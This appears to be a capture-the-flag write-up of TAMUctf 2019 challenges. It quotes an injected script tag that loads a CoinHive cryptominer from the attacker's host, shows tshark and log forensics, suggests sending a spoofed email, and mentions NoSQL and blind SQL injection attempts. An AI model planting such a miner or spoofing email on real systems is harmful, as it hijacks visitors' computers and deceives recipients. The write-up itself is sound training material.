Easy - 0_intrusion - DriveByInc#

Welcome to Drive By Inc. We provide all sorts of logistical solutions for our customers. Over the past few years we moved to hosting a large portion of our business on a nice looking website. Recently our customers are complaining that the front page of our website is causing their computers to run extremely slowly. We hope that it is just because we added too much javascript but can you take a look for us just to make sure?

  1. What is the full malicious line? (Including any HTML tags)

On the web page we do Ctrl + U to see the source code and at the bottom we can see a line (n°548) where a script is not loaded from js/ but rather from an external host and is then followed by an inline script launching a cryptocurrency miner:

1
<script src = http://10.187.195.95/js/colorbox.min.js></script><script>var color = new CoinHive.Anonymous("123456-asdfgh");color.start()</script></body>

Easy - 1_logs - DriveByInc#

Strange. We don't know how that got there. We have since gone and removed the offending lines. Maybe one of our developers wanted to make some money on the side. Here is a pcap and some web server logs from the day that users started complaining. Can you figure out if something nefarious happened while we go talk to the devs?

  1. What is the ip of the attacker?
  2. What ports did they find open? (List low to high ex: 1,2,3)
  3. What are the names of the web files they found on the server? (List in alphabetical order comma seperated ex: a.html,a.php,b.html)

IP of the attacker#

So let's take a quick look at apache2/access.log to try to find traces of a web scanner. We can quickly identify this IP address:

So 10.187.195.95 is the answer of the first part.

Open ports#

We need to find frame where the server answered with with TCP SYN/ACK:

1
2
$ tshark -r capture.pcap -Y 'ip.dst == 10.187.195.95 && tcp.flags.ack == 1 && tcp.flags.syn == 1' -T fields -e tcp.srcport | uniq | sort | tr "\n" ','
22,22,22,80,80

So the answer is 22,80

Name of web files#

Let's read logs/apache2/access.log again and filter 10.187.195.95 then extract the request URI path, keep only unique values, sort them and format them:

1
2
$ cat logs/apache2/access.log | grep '10.187.195.95' | grep ' 200 ' | grep -o -E 'GET /([a-zA-Z0-9.]+)(?:?| )' | grep -oP '(?<=/)[\w.]+' | uniq | sort | tr "\n" ','
about.html,adminlogin.html,adminlogin.php,contact.html,gallery.html,index.html,services.html,typo.html,

Now we can take a look at the pcap using Wireshark/Tshark filter power (https://www.wireshark.org/docs/dfref/h/http.html) to see if we can find more pages.

First we will only frame where the destination IP address is 10.187.195.95 and where the HTTP code response is 200 (page found) and then extract the frame number of the request associated to that response.

With those request frame numbers we can build a second query to extract the request URI path:

1
2
3
4
5
$ tshark -r capture.pcap -Y 'ip.dst == 10.187.195.95 && http.response.code == 200' -T fields -e http.request_in | tr "\n" ' '

But we already found adminlogin.php from logs/apache2/access.log so we didn't get any additional unique values.

Easy - Onboarding Checklist - Misc#

From: importantperson@somebigcorp.com Date: Feb 22, 2019 9:00 AM To: someguy@somebigcorp.com Subject: New Employee Access

Hello Some Guy,

We need to begin sending requests for the new employee to get access to our security appliances. I believe they already know that you are authorized to make a new account request. Would you mind sending the new employee's email address to tamuctf@gmail.com so they can process the account request?

Thank you, Important Person

The new employee can be a little slow to respond.

Pick a random email spoofer and send

We can try to log in with curl:

curl -H 'Content-Type: application/json; charset=UTF-8' -X POST --data '{"username":"xyz","password":"xyz"}' http://web4.tamuctf.com/login

Maybe it is a NoSQL injection as it is using some JSON data. Let's check PayloadsAllTheThings.

We will try to find a user, once we found bob try to avoid it then it will login with the admin account:

There is only one Search parameter and no LDAP injection, so let's try SQL injection.

By manual assessment we found a boolean-based blind SQLi so now we can use SQLmap to gather more information.
